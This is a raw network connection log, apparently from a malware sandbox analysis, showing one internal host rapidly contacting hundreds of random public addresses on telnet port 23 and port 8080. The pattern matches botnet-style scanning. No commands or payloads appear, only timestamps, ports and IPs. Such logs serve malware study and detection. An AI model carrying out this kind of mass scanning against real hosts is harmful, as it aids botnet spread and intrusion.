Nov 23, 2023 05:14:51.610819101 CET	55738	23	192.168.2.13	111.109.221.44
Nov 23, 2023 05:14:51.610830069 CET	55738	23	192.168.2.13	222.81.159.8
Nov 23, 2023 05:14:51.610842943 CET	55738	23	192.168.2.13	202.162.164.62
Nov 23, 2023 05:14:51.610845089 CET	55738	23	192.168.2.13	102.215.201.212
Nov 23, 2023 05:14:51.610865116 CET	55738	23	192.168.2.13	180.100.41.104
Nov 23, 2023 05:14:51.610868931 CET	55738	23	192.168.2.13	54.1.112.186
Nov 23, 2023 05:14:51.610874891 CET	55738	23	192.168.2.13	76.107.154.82
Nov 23, 2023 05:14:51.610883951 CET	55738	23	192.168.2.13	64.18.32.140
Nov 23, 2023 05:14:51.610886097 CET	55738	23	192.168.2.13	112.226.96.209
Nov 23, 2023 05:14:51.610898972 CET	55738	23	192.168.2.13	168.192.245.245
Nov 23, 2023 05:14:51.610923052 CET	55738	23	192.168.2.13	154.107.114.253
Nov 23, 2023 05:14:51.610933065 CET	55738	23	192.168.2.13	176.143.0.253
Nov 23, 2023 05:14:51.610945940 CET	55738	23	192.168.2.13	182.133.59.71
Nov 23, 2023 05:14:51.610945940 CET	55738	23	192.168.2.13	107.13.196.211
Nov 23, 2023 05:14:51.610948086 CET	55738	23	192.168.2.13	161.51.110.185
Nov 23, 2023 05:14:51.610974073 CET	55738	23	192.168.2.13	174.194.143.99
Nov 23, 2023 05:14:51.610975027 CET	55738	23	192.168.2.13	60.125.199.133
Nov 23, 2023 05:14:51.610976934 CET	55738	23	192.168.2.13	97.195.28.9
Nov 23, 2023 05:14:51.610985041 CET	55738	23	192.168.2.13	1.33.185.84
Nov 23, 2023 05:14:51.610992908 CET	55738	23	192.168.2.13	105.0.185.149
Nov 23, 2023 05:14:51.611000061 CET	55738	23	192.168.2.13	81.232.66.220
Nov 23, 2023 05:14:51.611018896 CET	55738	23	192.168.2.13	180.121.237.125
Nov 23, 2023 05:14:51.611027956 CET	55738	23	192.168.2.13	41.198.32.143
Nov 23, 2023 05:14:51.611032963 CET	55738	23	192.168.2.13	69.134.94.104
Nov 23, 2023 05:14:51.611037016 CET	55738	23	192.168.2.13	197.180.2.46
Nov 23, 2023 05:14:51.611048937 CET	55738	23	192.168.2.13	187.120.225.2
Nov 23, 2023 05:14:51.611048937 CET	55738	23	192.168.2.13	72.85.174.24
Nov 23, 2023 05:14:51.611059904 CET	55738	23	192.168.2.13	223.125.13.85
Nov 23, 2023 05:14:51.611063957 CET	55738	23	192.168.2.13	62.210.177.151
Nov 23, 2023 05:14:51.611068010 CET	55738	23	192.168.2.13	171.255.133.242
Nov 23, 2023 05:14:51.611083031 CET	55738	23	192.168.2.13	20.216.134.232
Nov 23, 2023 05:14:51.611090899 CET	55738	23	192.168.2.13	149.168.225.50
Nov 23, 2023 05:14:51.611092091 CET	55738	23	192.168.2.13	186.151.147.162
Nov 23, 2023 05:14:51.611105919 CET	55738	23	192.168.2.13	110.241.173.32
Nov 23, 2023 05:14:51.611109972 CET	55738	23	192.168.2.13	149.216.97.62
Nov 23, 2023 05:14:51.611114979 CET	55738	23	192.168.2.13	125.91.34.212
Nov 23, 2023 05:14:51.611148119 CET	55738	23	192.168.2.13	42.110.242.245
Nov 23, 2023 05:14:51.611148119 CET	55738	23	192.168.2.13	20.176.10.201
Nov 23, 2023 05:14:51.611164093 CET	55738	23	192.168.2.13	94.246.102.227
Nov 23, 2023 05:14:51.611171007 CET	55738	23	192.168.2.13	149.17.128.37
Nov 23, 2023 05:14:51.611188889 CET	55738	23	192.168.2.13	250.43.45.223
Nov 23, 2023 05:14:51.611193895 CET	55738	23	192.168.2.13	4.74.112.13
Nov 23, 2023 05:14:51.611192942 CET	55738	23	192.168.2.13	209.228.192.105
Nov 23, 2023 05:14:51.611192942 CET	55738	23	192.168.2.13	77.181.15.107
Nov 23, 2023 05:14:51.611192942 CET	55738	23	192.168.2.13	68.7.67.110
Nov 23, 2023 05:14:51.611206055 CET	55738	23	192.168.2.13	130.184.2.183
Nov 23, 2023 05:14:51.611218929 CET	55738	23	192.168.2.13	71.129.125.103
Nov 23, 2023 05:14:51.611226082 CET	55738	23	192.168.2.13	249.172.195.129
Nov 23, 2023 05:14:51.611238003 CET	55738	23	192.168.2.13	159.7.189.236
Nov 23, 2023 05:14:51.611238003 CET	55738	23	192.168.2.13	80.207.64.138
Nov 23, 2023 05:14:51.611238956 CET	55738	23	192.168.2.13	100.253.114.19
Nov 23, 2023 05:14:51.611253977 CET	55738	23	192.168.2.13	83.209.14.190
Nov 23, 2023 05:14:51.611263037 CET	55738	23	192.168.2.13	139.179.126.228
Nov 23, 2023 05:14:51.611267090 CET	55738	23	192.168.2.13	40.26.232.102
Nov 23, 2023 05:14:51.611270905 CET	55738	23	192.168.2.13	87.233.94.8
Nov 23, 2023 05:14:51.611270905 CET	55738	23	192.168.2.13	145.201.10.1
Nov 23, 2023 05:14:51.611289978 CET	55738	23	192.168.2.13	197.69.18.118
Nov 23, 2023 05:14:51.611304998 CET	55738	23	192.168.2.13	86.255.15.209
Nov 23, 2023 05:14:51.611304998 CET	55738	23	192.168.2.13	46.146.150.247
Nov 23, 2023 05:14:51.611306906 CET	55738	23	192.168.2.13	108.78.3.14
Nov 23, 2023 05:14:51.611321926 CET	55738	23	192.168.2.13	112.241.156.42
Nov 23, 2023 05:14:51.611325026 CET	55738	23	192.168.2.13	78.40.223.28
Nov 23, 2023 05:14:51.611325026 CET	55738	23	192.168.2.13	27.62.214.89
Nov 23, 2023 05:14:51.611342907 CET	55738	23	192.168.2.13	162.71.126.30
Nov 23, 2023 05:14:51.611350060 CET	55738	23	192.168.2.13	174.80.122.0
Nov 23, 2023 05:14:51.611351013 CET	55738	23	192.168.2.13	86.147.175.50
Nov 23, 2023 05:14:51.611356020 CET	55738	23	192.168.2.13	66.231.219.158
Nov 23, 2023 05:14:51.611366987 CET	55738	23	192.168.2.13	150.49.183.84
Nov 23, 2023 05:14:51.611366987 CET	55738	23	192.168.2.13	160.82.29.244
Nov 23, 2023 05:14:51.611371040 CET	55738	23	192.168.2.13	220.49.169.182
Nov 23, 2023 05:14:51.611371040 CET	55738	23	192.168.2.13	165.198.227.211
Nov 23, 2023 05:14:51.611387968 CET	55738	23	192.168.2.13	87.254.230.139
Nov 23, 2023 05:14:51.611396074 CET	55738	23	192.168.2.13	196.191.78.167
Nov 23, 2023 05:14:51.611399889 CET	55738	23	192.168.2.13	223.99.218.62
Nov 23, 2023 05:14:51.611411095 CET	55738	23	192.168.2.13	13.65.167.221
Nov 23, 2023 05:14:51.611427069 CET	55738	23	192.168.2.13	39.72.55.204
Nov 23, 2023 05:14:51.611438036 CET	55738	23	192.168.2.13	178.104.218.140
Nov 23, 2023 05:14:51.611442089 CET	55738	23	192.168.2.13	60.16.17.101
Nov 23, 2023 05:14:51.611450911 CET	55738	23	192.168.2.13	159.123.124.17
Nov 23, 2023 05:14:51.611450911 CET	55738	23	192.168.2.13	99.229.43.103
Nov 23, 2023 05:14:51.611468077 CET	55738	23	192.168.2.13	175.194.195.59
Nov 23, 2023 05:14:51.611469984 CET	55738	23	192.168.2.13	177.117.52.61
Nov 23, 2023 05:14:51.611476898 CET	55738	23	192.168.2.13	23.180.212.94
Nov 23, 2023 05:14:51.611491919 CET	55738	23	192.168.2.13	139.156.19.186
Nov 23, 2023 05:14:51.611493111 CET	55738	23	192.168.2.13	8.108.250.161
Nov 23, 2023 05:14:51.611495018 CET	55738	23	192.168.2.13	41.103.172.31
Nov 23, 2023 05:14:51.611505032 CET	55738	23	192.168.2.13	16.180.56.58
Nov 23, 2023 05:14:51.611514091 CET	55738	23	192.168.2.13	114.80.158.13
Nov 23, 2023 05:14:51.611514091 CET	55738	23	192.168.2.13	57.100.208.60
Nov 23, 2023 05:14:51.611527920 CET	55738	23	192.168.2.13	156.166.86.238
Nov 23, 2023 05:14:51.611534119 CET	55738	23	192.168.2.13	1.45.146.184
Nov 23, 2023 05:14:51.611546040 CET	55738	23	192.168.2.13	42.246.86.146
Nov 23, 2023 05:14:51.611546993 CET	55738	23	192.168.2.13	171.39.99.0
Nov 23, 2023 05:14:51.611563921 CET	55738	23	192.168.2.13	17.38.205.206
Nov 23, 2023 05:14:51.611565113 CET	55738	23	192.168.2.13	195.81.71.69
Nov 23, 2023 05:14:51.611582041 CET	55738	23	192.168.2.13	61.198.96.82
Nov 23, 2023 05:14:51.611582041 CET	55738	23	192.168.2.13	19.82.85.114
Nov 23, 2023 05:14:51.611588955 CET	55738	23	192.168.2.13	53.120.7.39
Nov 23, 2023 05:14:51.611605883 CET	55738	23	192.168.2.13	158.168.255.220
Nov 23, 2023 05:14:51.611609936 CET	55738	23	192.168.2.13	181.76.197.163
Nov 23, 2023 05:14:51.611634970 CET	55738	23	192.168.2.13	202.40.57.103
Nov 23, 2023 05:14:51.611648083 CET	55738	23	192.168.2.13	168.232.93.197
Nov 23, 2023 05:14:51.611659050 CET	55738	23	192.168.2.13	5.62.35.82
Nov 23, 2023 05:14:51.611659050 CET	55738	23	192.168.2.13	73.141.107.227
Nov 23, 2023 05:14:51.611661911 CET	55738	23	192.168.2.13	173.255.43.204
Nov 23, 2023 05:14:51.611679077 CET	55738	23	192.168.2.13	246.144.53.10
Nov 23, 2023 05:14:51.611686945 CET	55738	23	192.168.2.13	115.155.13.165
Nov 23, 2023 05:14:51.611686945 CET	55738	23	192.168.2.13	181.9.137.173
Nov 23, 2023 05:14:51.611689091 CET	55738	23	192.168.2.13	63.244.227.112
Nov 23, 2023 05:14:51.611695051 CET	55738	23	192.168.2.13	88.90.8.195
Nov 23, 2023 05:14:51.611696005 CET	55738	23	192.168.2.13	48.169.229.54
Nov 23, 2023 05:14:51.611701965 CET	55738	23	192.168.2.13	200.192.255.94
Nov 23, 2023 05:14:51.611711025 CET	55738	23	192.168.2.13	209.90.32.0
Nov 23, 2023 05:14:51.611711025 CET	55738	23	192.168.2.13	200.244.158.216
Nov 23, 2023 05:14:51.611728907 CET	55738	23	192.168.2.13	93.22.107.33
Nov 23, 2023 05:14:51.611737967 CET	55738	23	192.168.2.13	105.3.235.74
Nov 23, 2023 05:14:51.611751080 CET	55738	23	192.168.2.13	185.17.1.145
Nov 23, 2023 05:14:51.611752033 CET	55738	23	192.168.2.13	210.86.155.17
Nov 23, 2023 05:14:51.611767054 CET	55738	23	192.168.2.13	48.82.249.18
Nov 23, 2023 05:14:51.611782074 CET	55738	23	192.168.2.13	183.166.190.238
Nov 23, 2023 05:14:51.611784935 CET	55738	23	192.168.2.13	112.34.184.221
Nov 23, 2023 05:14:51.611793995 CET	55738	23	192.168.2.13	75.51.73.19
Nov 23, 2023 05:14:51.611797094 CET	55738	23	192.168.2.13	155.251.118.78
Nov 23, 2023 05:14:51.611807108 CET	55738	23	192.168.2.13	211.185.128.140
Nov 23, 2023 05:14:51.611830950 CET	55738	23	192.168.2.13	69.204.36.148
Nov 23, 2023 05:14:51.611838102 CET	55738	23	192.168.2.13	80.238.76.38
Nov 23, 2023 05:14:51.611840963 CET	55738	23	192.168.2.13	34.100.233.17
Nov 23, 2023 05:14:51.611855030 CET	55738	23	192.168.2.13	57.111.51.151
Nov 23, 2023 05:14:51.611861944 CET	55738	23	192.168.2.13	108.241.183.44
Nov 23, 2023 05:14:51.611871004 CET	55738	23	192.168.2.13	93.225.197.227
Nov 23, 2023 05:14:51.611881971 CET	55738	23	192.168.2.13	251.252.38.66
Nov 23, 2023 05:14:51.611898899 CET	55738	23	192.168.2.13	183.236.59.11
Nov 23, 2023 05:14:51.611912012 CET	55738	23	192.168.2.13	201.161.216.161
Nov 23, 2023 05:14:51.611916065 CET	55738	23	192.168.2.13	160.53.99.200
Nov 23, 2023 05:14:51.611924887 CET	55738	23	192.168.2.13	64.24.141.249
Nov 23, 2023 05:14:51.611931086 CET	55738	23	192.168.2.13	73.1.58.178
Nov 23, 2023 05:14:51.611937046 CET	55738	23	192.168.2.13	221.54.173.0
Nov 23, 2023 05:14:51.611949921 CET	55738	23	192.168.2.13	121.18.167.109
Nov 23, 2023 05:14:51.611949921 CET	55738	23	192.168.2.13	47.114.183.9
Nov 23, 2023 05:14:51.611963034 CET	55738	23	192.168.2.13	19.33.102.169
Nov 23, 2023 05:14:51.611969948 CET	55738	23	192.168.2.13	105.2.43.243
Nov 23, 2023 05:14:51.611974001 CET	55738	23	192.168.2.13	179.3.163.86
Nov 23, 2023 05:14:51.611979961 CET	55738	23	192.168.2.13	125.255.179.81
Nov 23, 2023 05:14:51.611984968 CET	55738	23	192.168.2.13	164.10.214.224
Nov 23, 2023 05:14:51.611984968 CET	55738	23	192.168.2.13	199.109.42.240
Nov 23, 2023 05:14:51.611996889 CET	55738	23	192.168.2.13	144.15.80.255
Nov 23, 2023 05:14:51.612009048 CET	55738	23	192.168.2.13	195.236.50.95
Nov 23, 2023 05:14:51.612011909 CET	55738	23	192.168.2.13	54.105.130.163
Nov 23, 2023 05:14:51.612024069 CET	55738	23	192.168.2.13	2.186.142.56
Nov 23, 2023 05:14:51.612024069 CET	55738	23	192.168.2.13	86.183.251.218
Nov 23, 2023 05:14:51.612035036 CET	55738	23	192.168.2.13	210.172.85.159
Nov 23, 2023 05:14:51.612046957 CET	55738	23	192.168.2.13	77.180.139.77
Nov 23, 2023 05:14:51.612050056 CET	55738	23	192.168.2.13	40.149.82.120
Nov 23, 2023 05:14:51.612059116 CET	55738	23	192.168.2.13	172.208.14.231
Nov 23, 2023 05:14:51.612072945 CET	55738	23	192.168.2.13	85.212.137.56
Nov 23, 2023 05:14:51.612078905 CET	55738	23	192.168.2.13	104.39.202.85
Nov 23, 2023 05:14:51.612092018 CET	55738	23	192.168.2.13	147.56.239.137
Nov 23, 2023 05:14:51.612096071 CET	55738	23	192.168.2.13	197.207.40.115
Nov 23, 2023 05:14:51.612104893 CET	55738	23	192.168.2.13	153.235.72.219
Nov 23, 2023 05:14:51.612113953 CET	55738	23	192.168.2.13	86.103.180.21
Nov 23, 2023 05:14:51.612113953 CET	55738	23	192.168.2.13	1.178.136.131
Nov 23, 2023 05:14:51.612123966 CET	55738	23	192.168.2.13	178.124.249.176
Nov 23, 2023 05:14:51.612134933 CET	55738	23	192.168.2.13	135.197.255.73
Nov 23, 2023 05:14:51.612157106 CET	55738	23	192.168.2.13	185.106.98.49
Nov 23, 2023 05:14:51.612164974 CET	55738	23	192.168.2.13	74.156.44.19
Nov 23, 2023 05:14:51.612168074 CET	55738	23	192.168.2.13	59.189.62.136
Nov 23, 2023 05:14:51.612168074 CET	55738	23	192.168.2.13	88.6.130.134
Nov 23, 2023 05:14:51.612168074 CET	55738	23	192.168.2.13	20.197.69.102
Nov 23, 2023 05:14:51.612173080 CET	55738	23	192.168.2.13	84.61.241.117
Nov 23, 2023 05:14:51.612173080 CET	55738	23	192.168.2.13	60.209.76.74
Nov 23, 2023 05:14:51.612185001 CET	55738	23	192.168.2.13	153.136.166.217
Nov 23, 2023 05:14:51.612185955 CET	55738	23	192.168.2.13	121.213.213.84
Nov 23, 2023 05:14:51.612207890 CET	55738	23	192.168.2.13	183.106.222.94
Nov 23, 2023 05:14:51.612209082 CET	55738	23	192.168.2.13	75.4.74.122
Nov 23, 2023 05:14:51.612220049 CET	55738	23	192.168.2.13	126.169.50.179
Nov 23, 2023 05:14:51.612226009 CET	55738	23	192.168.2.13	164.155.78.237
Nov 23, 2023 05:14:51.612252951 CET	55738	23	192.168.2.13	71.29.34.114
Nov 23, 2023 05:14:51.612255096 CET	55738	23	192.168.2.13	111.176.60.73
Nov 23, 2023 05:14:51.612270117 CET	55738	23	192.168.2.13	2.199.233.150
Nov 23, 2023 05:14:51.612273932 CET	55738	23	192.168.2.13	105.171.187.94
Nov 23, 2023 05:14:51.612273932 CET	55738	23	192.168.2.13	119.139.179.223
Nov 23, 2023 05:14:51.612273932 CET	55738	23	192.168.2.13	147.139.193.126
Nov 23, 2023 05:14:51.612293959 CET	55738	23	192.168.2.13	63.209.103.143
Nov 23, 2023 05:14:51.612297058 CET	55738	23	192.168.2.13	109.199.24.37
Nov 23, 2023 05:14:51.612304926 CET	55738	23	192.168.2.13	5.69.184.56
Nov 23, 2023 05:14:51.612318039 CET	55738	23	192.168.2.13	175.224.122.54
Nov 23, 2023 05:14:51.612325907 CET	55738	23	192.168.2.13	48.211.79.158
Nov 23, 2023 05:14:51.612327099 CET	55738	23	192.168.2.13	186.158.219.121
Nov 23, 2023 05:14:51.612330914 CET	55738	23	192.168.2.13	101.22.24.197
Nov 23, 2023 05:14:51.612332106 CET	55738	23	192.168.2.13	193.211.118.238
Nov 23, 2023 05:14:51.612332106 CET	55738	23	192.168.2.13	111.188.100.222
Nov 23, 2023 05:14:51.612346888 CET	55738	23	192.168.2.13	87.85.246.215
Nov 23, 2023 05:14:51.612346888 CET	55738	23	192.168.2.13	177.5.88.166
Nov 23, 2023 05:14:51.612361908 CET	55738	23	192.168.2.13	121.7.38.127
Nov 23, 2023 05:14:51.612364054 CET	55738	23	192.168.2.13	160.4.3.102
Nov 23, 2023 05:14:51.612380981 CET	55738	23	192.168.2.13	17.6.46.55
Nov 23, 2023 05:14:51.612382889 CET	55738	23	192.168.2.13	201.204.5.206
Nov 23, 2023 05:14:51.612560034 CET	54568	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:51.654835939 CET	57484	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:51.654841900 CET	57446	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:51.750833988 CET	48328	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:51.778182030 CET	23	55738	154.9.65.4	192.168.2.13
Nov 23, 2023 05:14:51.795845032 CET	37215	54970	156.19.240.50	192.168.2.13
Nov 23, 2023 05:14:51.815977097 CET	23	54568	93.33.192.250	192.168.2.13
Nov 23, 2023 05:14:51.816160917 CET	54568	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:51.860070944 CET	37215	54970	197.56.83.224	192.168.2.13
Nov 23, 2023 05:14:51.880882025 CET	8080	57484	31.200.60.86	192.168.2.13
Nov 23, 2023 05:14:51.881078005 CET	54202	8080	192.168.2.13	62.22.177.166
Nov 23, 2023 05:14:51.881078959 CET	54202	8080	192.168.2.13	95.115.76.144
Nov 23, 2023 05:14:51.881079912 CET	57484	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:51.881078959 CET	54202	8080	192.168.2.13	94.172.161.149
Nov 23, 2023 05:14:51.881078959 CET	54202	8080	192.168.2.13	94.117.58.17
Nov 23, 2023 05:14:51.881082058 CET	54202	8080	192.168.2.13	62.6.136.116
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	95.98.118.144
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	94.80.134.217
Nov 23, 2023 05:14:51.881082058 CET	54202	8080	192.168.2.13	94.99.246.70
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	31.37.93.71
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	94.106.105.166
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	94.113.85.205
Nov 23, 2023 05:14:51.881083012 CET	54202	8080	192.168.2.13	85.60.226.232
Nov 23, 2023 05:14:51.881112099 CET	54202	8080	192.168.2.13	95.224.112.214
Nov 23, 2023 05:14:51.881112099 CET	54202	8080	192.168.2.13	31.62.239.166
Nov 23, 2023 05:14:51.881112099 CET	54202	8080	192.168.2.13	31.178.147.16
Nov 23, 2023 05:14:51.881112099 CET	54202	8080	192.168.2.13	85.170.169.191
Nov 23, 2023 05:14:51.881115913 CET	54202	8080	192.168.2.13	95.75.133.223
Nov 23, 2023 05:14:51.881117105 CET	54202	8080	192.168.2.13	31.254.220.223
Nov 23, 2023 05:14:51.881117105 CET	54202	8080	192.168.2.13	31.148.134.215
Nov 23, 2023 05:14:51.881117105 CET	54202	8080	192.168.2.13	62.173.64.54
Nov 23, 2023 05:14:51.881118059 CET	54202	8080	192.168.2.13	85.150.240.66
Nov 23, 2023 05:14:51.881119013 CET	54202	8080	192.168.2.13	31.153.38.7
Nov 23, 2023 05:14:51.881119013 CET	54202	8080	192.168.2.13	62.196.111.115
Nov 23, 2023 05:14:51.881119967 CET	54202	8080	192.168.2.13	62.200.131.165
Nov 23, 2023 05:14:51.881119013 CET	54202	8080	192.168.2.13	94.57.122.156
Nov 23, 2023 05:14:51.881119967 CET	54202	8080	192.168.2.13	95.15.193.145
Nov 23, 2023 05:14:51.881118059 CET	54202	8080	192.168.2.13	94.209.238.152
Nov 23, 2023 05:14:51.881119967 CET	54202	8080	192.168.2.13	94.205.68.21
Nov 23, 2023 05:14:51.881118059 CET	54202	8080	192.168.2.13	31.168.216.146
Nov 23, 2023 05:14:51.881119967 CET	54202	8080	192.168.2.13	62.144.92.43
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	31.67.176.224
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	95.84.92.76
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	85.96.112.95
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	85.42.139.40
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	62.162.177.222
Nov 23, 2023 05:14:51.881139040 CET	54202	8080	192.168.2.13	95.190.71.156
Nov 23, 2023 05:14:51.881140947 CET	54202	8080	192.168.2.13	95.13.11.112
Nov 23, 2023 05:14:51.881140947 CET	54202	8080	192.168.2.13	31.147.58.126
Nov 23, 2023 05:14:51.881140947 CET	54202	8080	192.168.2.13	85.151.98.27
Nov 23, 2023 05:14:51.881140947 CET	54202	8080	192.168.2.13	62.63.155.56
Nov 23, 2023 05:14:51.881144047 CET	54202	8080	192.168.2.13	31.26.7.182
Nov 23, 2023 05:14:51.881146908 CET	54202	8080	192.168.2.13	85.244.2.226
Nov 23, 2023 05:14:51.881146908 CET	54202	8080	192.168.2.13	85.94.254.170
Nov 23, 2023 05:14:51.881146908 CET	54202	8080	192.168.2.13	95.143.170.113
Nov 23, 2023 05:14:51.881160021 CET	54202	8080	192.168.2.13	85.122.176.242
Nov 23, 2023 05:14:51.881160021 CET	54202	8080	192.168.2.13	94.169.95.215
Nov 23, 2023 05:14:51.881159067 CET	54202	8080	192.168.2.13	94.96.112.141
Nov 23, 2023 05:14:51.881161928 CET	54202	8080	192.168.2.13	94.52.40.170
Nov 23, 2023 05:14:51.881161928 CET	54202	8080	192.168.2.13	95.160.55.129
Nov 23, 2023 05:14:51.881165028 CET	54202	8080	192.168.2.13	31.192.218.83
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	31.211.6.71
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	62.224.74.31
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	62.202.79.0
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	85.157.24.245
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	85.130.133.94
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	85.61.114.216
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	94.2.169.209
Nov 23, 2023 05:14:51.881170034 CET	54202	8080	192.168.2.13	95.70.124.1
Nov 23, 2023 05:14:51.881175041 CET	54202	8080	192.168.2.13	85.211.194.119
Nov 23, 2023 05:14:51.881176949 CET	54202	8080	192.168.2.13	94.251.91.141
Nov 23, 2023 05:14:51.881176949 CET	54202	8080	192.168.2.13	62.20.78.249
Nov 23, 2023 05:14:51.881180048 CET	54202	8080	192.168.2.13	85.195.197.95
Nov 23, 2023 05:14:51.881180048 CET	54202	8080	192.168.2.13	62.127.10.249
Nov 23, 2023 05:14:51.881180048 CET	54202	8080	192.168.2.13	31.208.138.186
Nov 23, 2023 05:14:51.881181002 CET	54202	8080	192.168.2.13	85.53.203.26
Nov 23, 2023 05:14:51.881181002 CET	54202	8080	192.168.2.13	31.251.174.62
Nov 23, 2023 05:14:51.881181002 CET	54202	8080	192.168.2.13	95.47.124.226
Nov 23, 2023 05:14:51.881187916 CET	54202	8080	192.168.2.13	62.77.42.102
Nov 23, 2023 05:14:51.881202936 CET	54202	8080	192.168.2.13	94.87.45.28
Nov 23, 2023 05:14:51.881206989 CET	54202	8080	192.168.2.13	95.85.141.224
Nov 23, 2023 05:14:51.881206989 CET	54202	8080	192.168.2.13	94.22.234.11
Nov 23, 2023 05:14:51.881206989 CET	54202	8080	192.168.2.13	85.44.151.117
Nov 23, 2023 05:14:51.881213903 CET	54202	8080	192.168.2.13	62.81.40.44
Nov 23, 2023 05:14:51.881220102 CET	54202	8080	192.168.2.13	94.78.246.87
Nov 23, 2023 05:14:51.881220102 CET	54202	8080	192.168.2.13	95.9.202.144
Nov 23, 2023 05:14:51.881223917 CET	54202	8080	192.168.2.13	62.1.84.155
Nov 23, 2023 05:14:51.881234884 CET	54202	8080	192.168.2.13	62.37.191.170
Nov 23, 2023 05:14:51.881237030 CET	54202	8080	192.168.2.13	94.122.23.166
Nov 23, 2023 05:14:51.881263971 CET	54202	8080	192.168.2.13	62.168.171.49
Nov 23, 2023 05:14:51.881267071 CET	54202	8080	192.168.2.13	85.100.66.81
Nov 23, 2023 05:14:51.881267071 CET	54202	8080	192.168.2.13	94.108.17.127
Nov 23, 2023 05:14:51.881270885 CET	54202	8080	192.168.2.13	62.122.131.213
Nov 23, 2023 05:14:51.881272078 CET	54202	8080	192.168.2.13	85.3.157.146
Nov 23, 2023 05:14:51.881283998 CET	54202	8080	192.168.2.13	31.247.138.111
Nov 23, 2023 05:14:51.881293058 CET	54202	8080	192.168.2.13	62.238.75.50
Nov 23, 2023 05:14:51.881297112 CET	54202	8080	192.168.2.13	94.68.72.221
Nov 23, 2023 05:14:51.881295919 CET	54202	8080	192.168.2.13	94.16.229.93
Nov 23, 2023 05:14:51.881299973 CET	54202	8080	192.168.2.13	62.12.95.81
Nov 23, 2023 05:14:51.881299973 CET	54202	8080	192.168.2.13	94.143.65.100
Nov 23, 2023 05:14:51.881308079 CET	54202	8080	192.168.2.13	94.180.43.135
Nov 23, 2023 05:14:51.881324053 CET	54202	8080	192.168.2.13	31.143.40.231
Nov 23, 2023 05:14:51.881325006 CET	54202	8080	192.168.2.13	85.160.108.141
Nov 23, 2023 05:14:51.881326914 CET	54202	8080	192.168.2.13	95.108.141.85
Nov 23, 2023 05:14:51.881333113 CET	54202	8080	192.168.2.13	94.29.207.96
Nov 23, 2023 05:14:51.881345987 CET	54202	8080	192.168.2.13	62.168.93.138
Nov 23, 2023 05:14:51.881351948 CET	54202	8080	192.168.2.13	31.255.108.175
Nov 23, 2023 05:14:51.881356955 CET	54202	8080	192.168.2.13	85.75.2.41
Nov 23, 2023 05:14:51.881369114 CET	54202	8080	192.168.2.13	94.206.210.86
Nov 23, 2023 05:14:51.881369114 CET	54202	8080	192.168.2.13	94.253.24.93
Nov 23, 2023 05:14:51.881376028 CET	54202	8080	192.168.2.13	31.218.158.165
Nov 23, 2023 05:14:51.881386042 CET	54202	8080	192.168.2.13	31.115.177.206
Nov 23, 2023 05:14:51.881391048 CET	54202	8080	192.168.2.13	31.75.32.162
Nov 23, 2023 05:14:51.881391048 CET	54202	8080	192.168.2.13	94.118.254.40
Nov 23, 2023 05:14:51.881401062 CET	54202	8080	192.168.2.13	85.2.40.104
Nov 23, 2023 05:14:51.881397963 CET	54202	8080	192.168.2.13	95.121.55.6
Nov 23, 2023 05:14:51.881408930 CET	54202	8080	192.168.2.13	94.114.179.66
Nov 23, 2023 05:14:51.881423950 CET	54202	8080	192.168.2.13	31.30.110.245
Nov 23, 2023 05:14:51.881423950 CET	54202	8080	192.168.2.13	94.122.111.170
Nov 23, 2023 05:14:51.881431103 CET	54202	8080	192.168.2.13	94.166.19.38
Nov 23, 2023 05:14:51.881433010 CET	54202	8080	192.168.2.13	62.71.234.116
Nov 23, 2023 05:14:51.881439924 CET	54202	8080	192.168.2.13	31.147.203.49
Nov 23, 2023 05:14:51.881448984 CET	54202	8080	192.168.2.13	85.12.76.206
Nov 23, 2023 05:14:51.881453991 CET	54202	8080	192.168.2.13	95.226.12.150
Nov 23, 2023 05:14:51.881457090 CET	54202	8080	192.168.2.13	85.140.160.111
Nov 23, 2023 05:14:51.881464005 CET	54202	8080	192.168.2.13	94.55.34.236
Nov 23, 2023 05:14:51.881467104 CET	54202	8080	192.168.2.13	62.63.120.85
Nov 23, 2023 05:14:51.881479025 CET	54202	8080	192.168.2.13	85.11.135.254
Nov 23, 2023 05:14:51.881493092 CET	54202	8080	192.168.2.13	62.25.135.195
Nov 23, 2023 05:14:51.881493092 CET	54202	8080	192.168.2.13	62.163.129.14
Nov 23, 2023 05:14:51.881499052 CET	54202	8080	192.168.2.13	95.201.138.43
Nov 23, 2023 05:14:51.881501913 CET	54202	8080	192.168.2.13	85.228.157.26
Nov 23, 2023 05:14:51.881505966 CET	54202	8080	192.168.2.13	85.47.255.51
Nov 23, 2023 05:14:51.881505966 CET	54202	8080	192.168.2.13	62.232.174.218
Nov 23, 2023 05:14:51.881525040 CET	54202	8080	192.168.2.13	31.81.66.218
Nov 23, 2023 05:14:51.881525040 CET	54202	8080	192.168.2.13	31.253.240.172
Nov 23, 2023 05:14:51.881536961 CET	54202	8080	192.168.2.13	85.62.139.3
Nov 23, 2023 05:14:51.881541014 CET	54202	8080	192.168.2.13	62.142.223.54
Nov 23, 2023 05:14:51.881546974 CET	54202	8080	192.168.2.13	85.221.191.244
Nov 23, 2023 05:14:51.881550074 CET	54202	8080	192.168.2.13	85.202.11.132
